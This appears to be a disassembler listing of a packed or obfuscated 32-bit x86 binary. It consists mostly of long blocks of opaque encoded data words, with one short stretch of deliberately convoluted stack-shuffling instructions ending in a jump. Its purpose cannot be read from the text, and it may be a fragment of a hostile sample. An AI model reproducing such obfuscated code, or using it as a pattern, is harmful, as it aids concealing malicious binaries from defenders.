dd 0CF17049h, 0BF9B4D8Ch, 79C3A448h, 6BE03B70h
dd 0BC0AF13Eh, 84E1045Fh, 625BDh, 9612C400h, 0F9BD3908h
dd 206C6CDDh, 8A10C7BAh, 0F2C03D0Ch, 0E7B85FD4h, 5F22A8F6h
dd 0B988169Ch, 0EE537F43h, 3F27A3E9h, 8F061C6h, 7C21F9F0h
dd 276D6EBEh, 8B11C6BBh, 83B41594h, 89FC18B9h, 0BF3C4F53h
dd 4A5A493h, 0FC18B953h, 7614B582h, 23696E48h, 0E51659D8h
dd 14451F03h, 3C692F9Eh, 145B6CE9h, 0A839A5E3h, 1Dh, 23696ED2h
dd 866099D8h, 375912CEh, 6CBFF4DBh, 22906426h, 76EBF7B5h
dd 21h, 0E7EFAE8Ch, 33797CA3h, 175A63E8h, 0F841A4E2h, 0FC18B94Ah
dd 0EB572F19h, 0F6B9A8EEh, 7A20B9FFh, 23696E7Ch, 4E62EFD8h
dd 5FDE7EDBh, 0A6310201h, 6565010Ah, 62E55279h, 0EAF0B623h
dd 0DAE61457h, 8EB10A43h, 79384349h, 0E2FBC136h, 21200409h
dd 0B1FDFFBEh, 7FD8E16Ah, 7E9243Ah, 96363853h, 0E47539A3h
dd 9AD77AE4h, 0D0F364E7h, 0C0E147EDh, 0D1064992h, 0FBBACFCBh
dd 252CBD01h, 5A97F6B4h, 0EF6E1135h, 1B622EACh, 2AA009D2h
dd 0ED0A2BA1h, 347AFB5Ch, 0DCABEDABh, 0F4216D6Dh, 91A6CE8Fh
dd 9DE481F8h, 4F6h, 594541B7h, 22A8ECE8h, 8B179B5Fh, 5D793FB6h
dd 25A1EFECh, 25D6E78Eh, 0CB0E739Fh, 7268D9C5h, 18C1A02Eh
dd 39487492h, 0F00BDF90h, 0CF0F76F9h, 6BFF696Eh, 0B6FAFE38h
dd 4275E657h, 26AE119Eh, 65D21B62h, 0C3CF0879h, 0CC5F941Ah
dd 0D3565485h, 85266A90h, 622544FEh, 0AA943573h, 2D6B6CDAh
dd 6626FBA1h, 58853A04h, 0B9000000h, 0D0577B18h, 0FB053877h
dd 63E65D01h, 0F22ABA20h, 57D815C2h, 4C377B73h, 0E0A111CBh
dd 0E754B7F5h, 388677AAh, 973368EDh, 0FAF93D34h, 2CE0BF9h
dd 0FAF9B4A5h, 0DC1C6DF9h, 0A02E9BD0h, 74971BC1h, 585A9C0Dh
dd 0E0E97B01h, 8397D861h, 0F14EF9FAh, 43489E8h, 6EBD0000h
dd 99D82369h, 0BBBC5A60h, 1A8FB296h, 22E84273h, 0E52CBDBFh
dd 0FAFA7644h, 4BD2A901h, 0FAF851EEh, 300442F9h, 17934302h
dd 2B2C8DF4h, 0FAF9FAF8h, 0F377508Dh, 3FE6501Eh, 870DCC8Fh
dd 66F926h, 0AECD0000h, 0B9C98A2Fh, 18C3FC18h, 16B78C8Ah
dd 0E216305Dh, 0B982B314h, 0E453FC18h, 0E6155CAFh, 333663D8h
dd 0B92617B0h, 80FFFC18h, 3679F827h, 83ECFDC3h, 1FAD1D3h
dd 89D63502h, 0F9FAA1F4h, 7F8E12C6h, 6DB804F4h, 0D4643B34h
dd 2585E6F2h, 93F54B3Bh, 0F32E6155h, 5A3FE61Fh, 48D3DF1Bh
dd 0F675BA03h, 49000000h, 50FF696Eh, 6F3ECFC7h, 0AE1174A1h
dd 0DD04672Dh, 0A8EB9E1Ch, 0DC196C30h, 0F8E1600Bh, 27F3DB8h
dd 0CF274384h, 42C5FC18h, 18CF74E5h, 0F5D6ADFCh, 64C58D4Ah
dd 0FC18CFF3h, 109E5F22h, 2F7564DBh, 0C80C4FF2h, 3DE0B9CCh
dd 6C103EF7h, 45419AD7h, 34726524h, 1C4364D1h, 0EBAADDDBh
dd 1F5CAFEBh, 0C54AA7CEh, 0B83F7EE1h, 1A6E9F2h, 1FA5001h
dd 0AADFFBB0h, 529FC93Dh, 0BA035A7Ch, 0F9685CC1h, 1FA5C250h
dd 0E4145504h, 0BDFC63D8h, 4CCF7240h, 0DFC56AEBh, 0FBCCBBF7h
dd 1BDB9A2Fh, 0C1246295h, 0C38E5F94h, 0A86F941Ah, 6BFE7DB7h
dd 2D8371Eh, 5F990000h, 0ACABF5Bh, 0B921008Eh, 5D98E9F5h
dd 0DCEB35Fh, 5EC1B87h, 517D43B8h, 3FDBE910h, 860C904Ah
dd 6A7036A3h, 0BDBE1B6Ah, 54F9F00Dh, 6D6EED29h, 85E0AE2Dh
dd 0A5E91150h, 32D81546h, 860C8A4Fh, 8A2FAED8h, 0FC18B9C9h
dd 0A19A2318h, 309988BCh, 1FAD13Eh, 246890D1h, 0BEB39CEFh
dd 0ADF9FAA1h, 0F9D45B2Bh, 563FE62Bh, 0B3h, 23696E68h
dd 5E6499D8h, 0BDC462CFh, 0F3E4FC18h, 9F5829B5h, 28358219h
dd 95420504h, 6647F417h, 0FEF9B83Bh, 0DFE86DB8h, 0FAD39476h
dd 6895D401h, 0E740C35Ah, 0F9FA9B76h, 249BD0AFh, 5A93EAB6h
dd 0A02E0581h, 498CAAB7h, 44B93843h, 55D4017Eh, 1F4B7DF4h
dd 0A4DB9004h, 2CAAF8E5h, 911FDA9Dh, 86E5AB2Eh, 10CD7455h
dd 619C6582h, 0FA8FFE7Eh, 1F59Bh, 4642B400h, 0A9EDE958h
dd 109C5C2Dh, 7A40B78Ah, 0A2F0ED5Ch, 0D7E88F24h, 0F729826h
dd 69D8C6CCh, 0DEA32F73h, 4F779319h, 0CA09136h, 0C71F9F0h
dd 276D6ECEh, 8111C6BBh, 8431545Ah, 0AE85434Fh, 5BA2E8EFh
dd 662CAF12h, 4AF5D607h, 0B5FC0F8Dh, 0FFAE824h, 5E6F7B04h
dd 4C7CE613h, 0D83FD324h, 0F27793C8h, 0B338B865h, 0BA3D12A4h
dd 0F72CA9FCh, 0F46E6BD6h, 27D0300Dh, 0B8D11A61h, 8623E076h
dd 0FC18AAD5h, 8DFA370Ch, 0A29C817Eh, 0D9126937h, 0B25CFD6Ch
dd 5D01FAD3h, 1C64073Ah, 0E7B6FC0h, 5D2913FFh, 397EE811h
dd 0E459E6D2h, 46719DCAh, 0D572F5D9h, 4188BE5h, 0F4746427h
dd 9DF74CA0h, 0A2F93660h, 60F727F5h, 0D603C7A0h, 0A7DA91F5h
dd 10A9F7E4h, 8F0DCA75h, 8074367Ch, 74EBDF44h, 3E98E3D3h
dd 0C999320Ah, 0A8DB9AC5h, 86FBE75Ch, 71304B51h, 30E869CEh
dd 4239EDBEh, 4AD1DD1Fh, 43B9B801h, 5FC22C7Fh, 0F6D7DD1Ch
dd 0CD0A784Ch, 0B08C3CFh, 7F872027h, 96105C49h, 2885B613h
dd 0E75CEB90h, 0E71053AAh, 0F27C5AA1h, 695DC202h, 514951F6h
dd 0E3581672h, 7B6FF4E7h, 43C245C4h, 722175E6h, 76D7ACE1h
dd 0E17221C5h, 3D86271Ch, 1F6BC717h, 0B739A2E5h, 3CAEB4E1h
dd 1DAE1B9Bh, 0E86BB289h, 5C2DA9EFh, 878E1D9Bh, 0EFB2A304h
dd 1463DF4Bh, 9B719403h, 912AC371h, 90F448h, 0CF8E3300h
dd 0F17A810Dh, 28966EE8h, 9CEDE9AFh, 47CE5D5Bh, 282F23D2h
dd 0B4518CB2h, 0DD27B48h, 24D9EC1h, 0FB6D5D3h, 39B8C3C7h
dd 11ADF8BEh, 4199DFD7h, 16C32F07h, 0EF6E9190h, 968B094Ah
dd 0DA63D8B6h, 0B6968B99h, 4C8CF348h, 17B02540h, 0C3C90E73h
dd 19DF1D5Ch, 968BBFB0h, 0AC1956B6h, 0A0CB1C59h, 0DC1h
dd 7ADF5E00h, 0B6968BF9h, 0BC8A5328h, 686E9DA7h, 6196D92Ch
dd 5B81C05Bh, 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh
dd 19C1009Bh, 7CF7695h, 68F27883h, 5706h, 68240489h, 0EFFh
dd 68243C89h, 0F8Eh, 56243489h, 0C3FD368h, 0E6815E75h
dd 3945D3Ah, 0EE81D6F7h, 32F2575Dh, 2D79B850h, 0D0F76034h
dd 0B53B3B0Dh, 0D0F7485Fh, 4B7E280Dh, 66990545h, 0C62960D5h
dd 5EF78958h, 8904EC83h, 4812424h, 424h, 89505E00h, 468F50F8h
dd 34FF5808h, 0C4835E24h, 2434FF04h, 4C4835Fh, 0F9C7AAE9h
dd 5D6186FFh, 6359D99Dh, 0EE24AEF7h, 0B822FFD2h, 5E8B7F4h
dd 0E0FFC503h, 1269720Dh, 42954101h, 414CA13Dh, 4BF120F0h
dd 3FE90D04h, 4E2F70B5h, 51ADECD4h, 14635E6Bh, 5AF44DD7h
dd 677BCC92h, 820C867h, 4867121Ch, 508B9B4h, 702CD80Dh
dd 7239B3F3h, 2216D1E3h, 1B588587h, 1954F59Bh, 7F92654Fh
dd 0D17704EBh, 0ADE95F7Dh, 0B6000005h, 0EB5E4440h, 5E23AFEBh
dd 0B988169Ah, 0EF52783Eh, 8D3AA0EEh, 9E24D9E6h, 0C4CA3170h
dd 2D716BDEh, 9117C0A1h, 9F384975h, 0F9F001DEh, 6ECC0E77h
dd 0BD3C2369h, 18B95B1Ch, 74891FCh, 0DEFC18B9h, 3D8EE561h
dd 602EAF16h, 1ED2077Ah, 18B9B8B9h, 0A51269FCh, 7A6023A2h
dd 0C566D736h, 0FC18B994h, 0DDBC5E40h, 8C8ADD0Dh, 40F16B7h
dd 0B0099545h, 0EA9E48B1h, 95C663AAh, 4CFC18CFh, 0CA7366F7h
dd 0ED94F72Ch, 120B097Ch, 934270BFh, 845F615h, 4044B0BFh
dd 473F7925h, 12B8FEFBh, 7EE1AD2Fh, 78195AFFh, 0F4C5FC18h
dd 1015BF98h, 0E2FBB0DEh, 0B974524h, 48A71F0h, 675F19E1h
dd 31DDE11Bh, 0FA018770h
dd 18A8E19Dh, 784CFAFCh, 424DC31h, 6C733Ah, 0AE770000h
dd 0B9C98A2Fh, 0A603FC18h, 0FC18B9B5h, 3C0B176Ch, 7533A4ABh
dd 26FA6F16h, 0E765790Eh, 0C978C11Ah, 0DEFC18F5h, 79EE9C68h
dd 0C46D183Ah, 2C5A6340h, 3A04B6F1h, 15Eh, 666E6000h, 0CF58DB22h
dd 324CD0EFh, 4DF4D5B4h, 77FE0D89h, 0A3E33A80h, 35A10DF9h
dd 0C65D1EBBh, 63F4FC18h, 442ADC45h, 71AE1BF0h, 0A5E31455h
dd 6D6E3339h, 599DC427h, 66CCD581h, 0A11E5425h, 33BF29BEh
dd 97E6EC40h, 55972F36h, 0D0E81561h, 3629662Ah, 0A0398577h
dd 545287FAh, 0C2D94E31h, 867353h, 3AE770E5h, 6DD4F510h
dd 3C7CFD6Dh, 0D8EBE7A7h, 0DE2D7169h, 0BE21209Dh, 96B7FBFFh
dd 0FC18BCA5h, 9FA6077Ch, 84753475h, 0C9BDA506h, 4169B46h
dd 6B303Ah, 6E0A0000h, 9DC4276Dh, 48CA515Dh, 13C8360Eh
dd 61E0018Dh, 18B997D8h, 9E3B4EFCh, 0FC18B9DDh, 0F9C23F74h
dd 83F8576h, 0BD0E9449h, 0E2A82F96h, 7FF799Bh, 4115D80h
dd 5AF23Ah, 6EF40000h, 9DC4276Dh, 0E0C8535Fh, 0D8993EA1h
dd 9FC18B9h, 8208CF32h, 61E9F27Bh, 2EA6E995h, 0D7367A60h
dd 0D1902966h, 0A0E3662Ch, 0B4526B39h, 0EBEFAE8Eh, 1B6230ADh
dd 1F0665D2h, 18B9B9BAh, 0A61368FCh, 1E9A5A05h, 0B98CA28Fh
dd 5395FC18h, 13F12C63h, 15E3A04h, 60000000h, 23266A6Eh
dd 0D02B7960h, 0B83B429Bh, 0A322793Fh, 0AC177634h, 0BA1B622Eh
dd 6A7CC4B0h, 32A614E0h, 0EA77606Eh, 44E643C6h, 0BF01FACDh
dd 0ADACAD0Ah, 0E65F9FAh, 0CE0B4AD1h, 589513C2h, 8C0ACFB2h
dd 0AD611079h, 46F9FAh, 5711C634h, 9212CF35h, 147019E9h
dd 902F03E3h, 26763D8h, 0DB4D7D5h, 7BFCECCh, 7465D1A5h
dd 2FE2A836h, 9E3FE666h, 0E8C45709h, 8DA909DAh, 0E073FEACh
dd 0F92687FCh, 1BEh, 0E152F776h, 3DF9FAAAh, 0C2E4C83Bh
dd 92E975B5h, 0EFAE7D49h, 2019A2E8h, 59180F23h, 3E59C49Eh
dd 182A8FD2h, 14971AA3h, 0DAB12783h, 0CE0F9E1Ah, 2D0AC64Dh
dd 8FF339Ch, 591601FAh, 505683C2h, 8402F74Ah, 0B3F9FE61h
dd 67F1E968h, 0FA4491C2h, 0BEEB40F9h, 0A9F7E46Fh, 0F8CC7A52h
dd 104D4B8Ah, 0DE6C58E2h, 0C853579Fh, 3A3B9C83h, 0EBF9FA44h
dd 0D3044B9Ch, 8E43C9D5h, 3D3FE710h, 90h, 0BEFCFBBAh, 7918592Dh
dd 2E430A9Fh, 329FBD78h, 18EB2829h, 5F82F9FCh, 418A119Dh
dd 5921514h, 896ED2C5h, 4F72A57h, 0DDEE6FBEh, 18651374h
dd 72F542FCh, 65E556F3h, 473CFC18h, 0C354DF66h, 0DE7B31C6h
dd 0FC18089Dh, 0E15EFFB4h, 7E7FA23Bh, 4760D530h, 185E7DFEh
dd 8E4FFCh, 357D7AE5h, 7F8EFBC7h, 3F817537h, 0B52467AAh
dd 0A094DEEFh, 16093D24h, 81E4A257h, 0AB0C7354h, 0FC185E7Ah
dd 870BF1B0h, 0B0D6F764h, 0AF8ADFFBh, 0B0000000h, 0D0577B18h
dd 0FAD2E777h, 3A413E01h, 0C9783EBBh, 7F485486h, 9B21D6ABh
dd 0A30D2700h, 0D352F9FAh, 0A7EB1150h, 5361744h, 0DCF9FAA3h
dd 0F522706Dh, 2C9A6AD4h, 0F6E1EDABh, 55C24569h, 0E9138838h
dd 2A8FB29Bh, 0F9FA2C29h, 0F73A83F8h, 0E3E7AA52h, 5684E507h
dd 0DBDF174Ah, 23D41F6Eh, 2063E265h, 0E253F4B8h, 0E8F7D3F7h
dd 2A7A3F1h, 0D3F7B4A5h, 0D9166DF7h, 0FA6500h, 0EEE669BCh
dd 0CF7953AAh, 3F3981F7h, 0A6808D47h, 5102A733h, 80F7D3F7h
dd 1E017EABh, 9618DC9Fh, 8ECF5E62h, 0EF5E3851h, 0FB471CCDh
dd 989399E2h, 453209CAh, 7B189359h, 0D1109E5Dh, 0D5066529h
dd 4440E998h, 8B020172h, 60D176h, 706AF9F0h, 0F69CD92Ch
dd 0B6394CB9h, 2A5F7B41h, 9BA480BDh, 3495B012h, 0BFCECC0Dh
dd 465804D2h, 71450753h, 0C8D6D405h, 0E33A8079h, 0B7FBE1A0h
dd 0F35C78A6h, 10A9EF1Eh, 85E0A651h, 0F743333Dh, 2B1E8402h
dd 0B29DE8AEh, 12h, 0C0C43073h, 26A703E7h, 0B95102A7h
dd 0AB80FC18h, 686E5412h, 6196D92Ch, 5B81C05Bh, 4E8D3457h
dd 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h
db 83h, 78h, 0F2h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 50F0h
mov [esp], ebx
push ecx
push 5B5F5DCBh
pop ecx
sub ecx, 5576A4F3h
mov edx, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 61F0h
mov [esp], edx
pop dword ptr [ebx+8]
push dword ptr [esp]
pop ebx
add esp, 4
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dw 1449h
dd 347A839Ah, 58804D60h, 0E8BDF4B8h, 0FFC50305h, 9430FAE0h
dd 974CAB4Dh, 20F0AA02h, 8D0DFA51h, 2AC32436h, 0D69FBA5Ch
dd 86A1863Dh, 0EB7B7012h, 4D0C8522h, 7A8D2529h, 40B8366h
dd 648D6F08h, 0D4B4927Fh, 32802F79h, 0F0147227h, 3ED49B1Eh
dd 0F5A2885Fh, 0B37AAB44h, 0ABAE03Fh, 56B46D1Dh, 978D8D69h
dd 6A05E8BFh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 2AD9C350h, 53CDBC01h, 68D0Fh
dd 0CE810000h, 1D2F200h, 0E98D895Bh, 5305E20Bh, 14C59D09h
dd 0C75A05E2h, 0E2076185h, 74CC05h, 0FB8B6600h, 1B5585C7h
dd 5E2h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0ABA8F6C3h, 0F302F40h, 1A80h, 14E800h
dd 1A7B0000h, 99003DD1h, 0DEC3B78Dh, 15B0850Dh, 0D6A5CC6Ah
dd 0FF5F396Bh, 0E22361B5h, 0C1B58B05h, 0FF05E214h, 0E20B1595h
dd 69C88105h, 6A30B157h, 0B995FF00h, 8B05E20Ah, 9C28EBC0h
dd 91358DD7h, 481403Dh, 60853D74h, 0F65A21B4h, 2CCCC3EDh
dd 0D1F7ACA1h, 3C288310h, 4E8B917Bh, 1F1FBFCDh, 0E85BB1BFh
dd 11h, 0A250D922h, 9131C54h, 1CC19056h, 12B8010Eh, 8C0F03h
dd 5B000000h, 8C3C73B8h, 83C3811Bh, 0E9000064h, 8, 0F9096CCCh
dd 3AC74DB1h, 68h, 0DF816600h, 0B8591172h, 3AF477CCh, 0F1934FFh
dd 188h, 8B5AF800h, 0E215C5B5h, 0B2F28105h, 663CB739h
dd 0C69CD881h, 0BCB3F281h, 12E9201Bh, 0D2000000h, 1C018A8Ch
dd 59CD984Eh, 691AA3FFh, 390FD3F4h, 0C1F28145h, 3143AAB3h
dd 0E2051D95h, 0B148905h, 0AE9h, 0E56A8400h, 0E4AB1C4Ch
dd 895DEA1Fh, 0E20D2185h, 4E98305h, 81F88B66h, 0FF9C28F9h
dd 91850FFFh, 0C6FFFFFFh, 0E20A4985h, 0DF685605h, 0FFA9C530h
dd 0E216A1B5h, 61858D05h, 0FF05E57Ah, 598D8DD0h, 5105E218h
dd 0B5FF406Ah, 5E20879h, 0E99B5FFh, 0D0FF05E2h, 879B5FFh
dd 0B5FF05E2h, 5E20E99h, 13E8h, 0AAF61100h, 1B28B887h
dd 2CC01098h, 0E4250CB5h, 0A4A134A1h, 0EA835A5Ah, 242CC104h
dd 2424C102h, 24140302h, 2B241CF7h, 0A048BC9h, 9EC3E881h
dd 0F081786Ah, 5B6CFF5Dh, 4777C081h, 8F502FE3h, 0E9830A04h
dd 0C3B4903h, 0DA850F24h, 8DFFFFFFh, 0E206959Dh, 0B038B05h
dd 7840FC0h, 8B000000h, 45B8B03h, 0C98B1889h, 0EE8h, 36584200h
dd 3D0438A5h, 26CE9515h, 0E8958EEAh, 5, 23C01AAh, 0CFB70F46h
dd 860F5B59h, 6, 82B86652h, 0C3815831h, 6100h, 0D23341B1h
dd 0CE9h, 6C7500h, 78EFD23Eh, 1FB27A69h, 133C8BE8h, 0A0F6F781h
dd 56506026h, 0FE8FB966h, 0C7815858h, 683F6338h, 0CF7C25B8h
dd 7FEF8164h, 0F160E9Eh, 0F57CEB7h, 180h, 48FF500h, 0BF0F6013h
dd 0AE9DEh, 0A88F0000h, 33CF275Ah, 5842E9FEh, 0A6BE6661h
dd 4EA832Bh, 58CE8B51h, 9FDCFA81h, 850FFFFFh, 1Dh, 3810Fh
dd 8B660000h, 33E9F3h, 45030000h, 21B7AB8Dh, 0EA9BC47Bh
dd 3B4782A1h, 0AAB860EAh, 0F494005h, 281h, 61F08B00h, 0FFFF74E9h
dd 0EA18C7FFh, 0ADD61F80h, 9146B24Bh, 4B0DFCA8h, 0CE852h
dd 2C1E0000h, 0F8D7217Bh, 0FFC8AE73h, 665AB218h, 814C3ABBh
dd 6D01C2h, 0EF805000h, 0FF335B8Ah, 0A1C88166h, 1734FFF8h
dd 5B59B353h, 1DB86659h, 4EF1812Ah, 600897DCh, 0AE9h, 0AC9FFF00h
dd 0E280F755h, 667BB00Bh, 61D1C3BBh, 2645C181h, 0B3B34A2Eh
dd 2EAC181h, 7E85DE0h, 0FC000000h, 0ED572A5Fh, 8E8429Ah
dd 2D000000h, 5A0556A4h, 0F61B3D2h, 8Bh, 89585800h, 5E93A0Ch
dd 92000000h, 0FF5264BAh, 9B51BB66h, 561BEF81h, 0C7817BBFh
dd 7BBF5617h, 93C0FF81h, 850FFFFFh, 10h, 1CE9F0B0h, 0FD000000h
dd 0A83BBDB0h, 6D31D76h, 0A7DB8166h, 0FF67E9ABh, 1F7AFFFFh
dd 0F32BE720h, 8D4ACC41h, 0E8C3808Dh, 55006A05h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 891DE820h, 0E20BE98Dh, 0E9F78A05h, 0Eh, 1142F860h, 4F66362h
dd 48BC66E3h, 85C7201Ah, 5E20761h, 6070h, 0C7FEBF0Fh, 0E21B5585h
dd 5, 6830F00h, 8B000000h, 0E23335BDh, 0CDB5FF05h, 6005E22Ah
dd 3139B589h, 0BF0F05E2h, 0ABB61F1h, 0FF51CBDCh, 0E20B1595h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0FA062203h, 0C2D01088h, 0EE8129C7h, 7C318F88h
dd 95FF006Ah, 5E20AB9h, 59EBC08Bh, 23D6ADC3h, 542036ADh
dd 3CE2439Ah, 811804F5h, 0CA8F57ACh, 4E586A39h, 78410BCh
dd 3BEE3F34h, 698E36A3h, 0A38CC120h, 7115B111h, 8C09B948h
dd 0E5879DEBh, 0D4E4C2C7h, 6BB16FB8h, 7FF99F72h, 68894B72h
dd 0FFABF5EDh, 98C2B3C5h, 0C366151h, 85FF6B1Ch, 0E39AF4AAh
dd 8EB9Ch, 54000000h, 0E92B46C6h, 471h, 0E8C4B668h, 0BC1DE905h
dd 2568FFF9h, 0E905E8C5h, 0FFF9BC13h, 0E8C68A68h, 0BC09E905h
dd 7365FFF9h, 1ED6AB37h, 0CD0D7C9Ah, 7164C5C1h, 21DAAF2Bh
dd 19F87793h, 4D495784h, 2BB7FDFCh, 0F218A456h, 464C4A8Fh
dd 91C2679Eh, 40F9F07Dh, 0EFAE19DDh, 125BA2E8h, 4F5586C9h
dd 4C44B53Ch, 7CF90C88h, 0B3D09B07h, 0DF4FE89Fh, 6D01FADFh
dd 0DEEFAD2Ah, 0CFA8F348h, 0F9FA9FB2h, 0D84F27A1h, 3FE63905h
dd 2AAAAh, 770F9C00h, 0FB6E42CFh, 0FAC3D85Eh, 0C4047301h
dd 0CAD60245h, 1512A8F1h, 3B58FC9Ch, 6FB71017h, 0A602BDAEh
dd 0D845B2C9h, 4AD475F4h, 4508D36Bh, 0BF387BEEh, 6B6CDDF9h
dd 7A92C02Dh, 2045FB39h, 30A41h, 9A1ED800h, 0CDC90D7Ch
dd 347860C1h, 9E1CDBAEh, 0C6CC3170h, 0FBC4A3D8h, 5316BC02h
dd 8DFC1AA8h, 0E247434Fh, 2B2BB7F5h, 7DFC7DDAh, 6815F9F0h
dd 639AEA2h, 55721984h, 0BAA79029h, 59369396h, 0EB0201A3h
dd 196C30A8h, 0A09F0BDCh, 0B7FDFEA1h, 0C3A5562Bh, 9F92719Dh
dd 0E83368B4h, 0F1C4F58Fh, 9016C3F9h, 5BCE216Bh, 0B49FEA04h
dd 29Bh, 8D098D4Bh, 567C38BCh, 3FDBE713h, 810D8B4Ah, 69753BA0h
dd 716A33D2h, 17C2A723h, 0BE3C0D89h, 6495D4F2h, 4DB4B826h
dd 0F07C6BECh, 33FBBAF9h, 0C9D7B18h, 2E395182h, 0DB9CADC1h
dd 0AFC1899h, 0A04F1C3Dh, 30965B08h, 0F2D344FBh, 578159F6h
dd 0C562AD3Eh, 201A1C8h, 96F30A61h, 0F9F11999h, 0AF088B8Ah
dd 0F9F119AEh, 0B7BF0867h, 0AF9548BFh, 803A3FEDh, 0C000001h
dd 0B129696Eh, 0EA55B0EDh, 2FB8AFEDh, 26B20EC5h, 7614B565h
dd 75F4D845h, 0D32C9CE4h, 0CF182A8Fh, 6F13E740h, 3D0A01FAh
dd 0F6E4A7EEh, 3B7034A0h, 9526BE0h, 0F9FA6C74h, 9215E167h
dd 3FE6E43Fh, 4EECh, 7B18D600h, 891C9A5Dh, 9110174Ch, 0E908BA78h
dd 5A66009h, 0FA02BABCh, 0F5C25501h, 0A088BAA0h, 0D00D894Dh
dd 9E01009Bh, 0FAEA3839h, 0C4C832F9h, 7FD8E15Eh, 0F9FAEAC2h
dd 939F97D1h, 0C31E6806h, 0B8017356h, 0E6D34F82h, 0AAFC3Fh
dd 6EC60000h, 99D82369h, 2339464h, 0D3FC18B9h, 95DC2F64h
dd 9CC72664h, 6B2A5D5Bh, 932F286Eh, 6F55E0E5h, 0A225E1FAh
dd 0FC180AEBh, 224E18C1h, 7E641D92h, 0EFE8F623h, 58DB4E62h
dd 42D9DD19h, 4557B009h, 5801FD0Ah, 0C03D7CE3h, 6895D4F2h
dd 38D1DD5Ah, 0C7A20460h, 1367Ch, 0B6F2E400h, 199D5928h
dd 404C8CFDh, 0AAF0E75Ah, 12A05D2Ch, 7987FF4h, 7FC2C8D6h
dd 0D9A8367Ch, 0E739F23h, 1FC7C3C9h, 7F1041E6h, 5CC1F9F0h
dd 2D6D6E9Eh, 5398E3AFh, 5089F8E6h, 0BA3D4C4Ah, 18B95C1Dh
dd 0C762F5FCh, 8127ACCDh, 0B076578Ch, 0D823696Eh, 0EF866099h
dd 66FBBC2Dh, 540783F8h, 0C3641BCFh, 1FB7F6Ch, 0F4B7AA81h
dd 0CA1DB907h, 0F9FA7EB5h, 4E545287h, 41B602FBh, 0E4078B71h
dd 0B6E33A77h, 53BC3ACFh, 6EDB101Fh, 0A5341Fh, 184E0000h
dd 77D0577Bh, 2017DE6h, 0F8D4A3Fh, 1B3AAFD2h, 85D0007Ah
dd 0C0032AB3h, 34759117h, 0D9A6C5C3h, 2F2E5C27h, 42D9E515h
dd 0B1D4DA03h, 45BB8BCDh, 43AF87C1h, 0B78A1096h, 42C54442h
dd 8E1374E5h, 0F5D6ADC8h, 0AAF0E76Eh, 0A6EA1053h, 0D3D91C47h
dd 0B480CA48h, 13302186h, 8AE1C88Eh, 45048D5Dh, 73F20995h
dd 6BE03B87h, 0D1A5AD3Eh, 0A9F7E2A5h, 81C01952h, 6C2F5258h
dd 0FBFE216Fh, 0C4E556B5h, 307663C6h, 198AD5h, 0A7B00000h
dd 0E8726726h, 0E1E275A1h, 8E1D4A36h, 42312287h, 8BE0FC18h
dd 6EB98D5Eh, 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh
dd 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h
dd 288668h, 240C8900h, 3FC768h, 24148900h, 769068h, 24048900h
dd 33A6B951h, 0D1F776E3h, 8106E1C1h, 5D3507C9h, 0C4C1810Bh
dd 51B6698Ch, 8B54595Ah, 0C4812404h, 4, 51D38953h, 8B9h
dd 89C10100h, 0FF5B5919h, 83582434h, 148B04C4h, 0E3895324h
dd 4C381h, 0C3830000h, 241C8704h, 0B7C5E95Ch, 0C2B7FFF9h
dd 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0C7E5B8E8h, 0C50305E8h
dd 0BBB9E0FFh, 26E212CBh, 158A0212h, 900749AAh, 4EA0212h
dd 62D5217Ah, 4ED656ABh, 0E01B4222h, 14BE56CDh, 19AA7BC8h
dd 0E81F1DA6h, 66501689h, 21082308h, 66370D4Ch, 79076AB1h
dd 1FF15549h, 0F89440B4h, 691C4CC9h, 5E531250h, 0F4A67CC7h
dd 600B0708h, 0AED45165h, 645170F9h, 0A9254FCBh, 0DF577BDEh
dd 10CE7642h, 73907033h, 0C0294032h, 12E82418h, 49000000h
dd 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h, 59F08BA1h
dd 0B194C381h, 0C1814F46h, 65C4h, 4BB85F53h, 0B7000019h
dd 0F118B4Fh, 8Bh, 0BDC28100h, 0E917991Ah, 12h, 63A16D1Fh
dd 0A3B54DFFh, 0DAE60B48h, 551F55A4h, 0F2813A98h, 71891D4Dh
dd 18A0Fh, 81F50000h, 81FBFBC2h, 74ECBB65h, 118929FEh
dd 0AC9DBE66h, 4902E983h, 1E88349h, 0F850Fh, 1CE90000h
dd 0A2000000h, 4BF58D17h, 2151D85Ah, 1CCF81CDh, 0E96E440Eh
dd 0FFFFFF95h, 0F433CD7Ah, 0E8A2F1ADh, 5, 53678D6h, 0D9BF0F7Ah
dd 81F98B5Ah, 66BDC2h, 89BB6600h, 0E8C02B03h, 0Ch, 5AE35895h
dd 9CB096C0h, 86B150DEh, 34FF5FF8h, 0A5B96610h, 8B665EFEh
dd 7AC681FBh, 0E834E89Fh, 9, 0EAD0883Ah, 84A3D108h, 0B0D38168h
dd 5B475028h, 86FEE81h, 820F28E9h, 0Ch, 7E9h, 0AA22FF00h
dd 6215780Bh, 4563EE81h, 89F9078Ah, 66560234h, 594B6BBFh
dd 83D8BF0Fh, 9E901E8h, 0D0000000h, 29B928D6h, 0BF13471h
dd 0BB484848h, 5687CB19h, 99F8F881h, 850FFFFFh, 0FFFFFF8Ah
dd 14E9h, 0EFF2B200h, 76588218h, 41A9C64Dh, 20C8D92Ah
dd 0B0702BF6h, 3104EB56h, 0E977474Dh, 52Eh, 0E1EDA92Fh
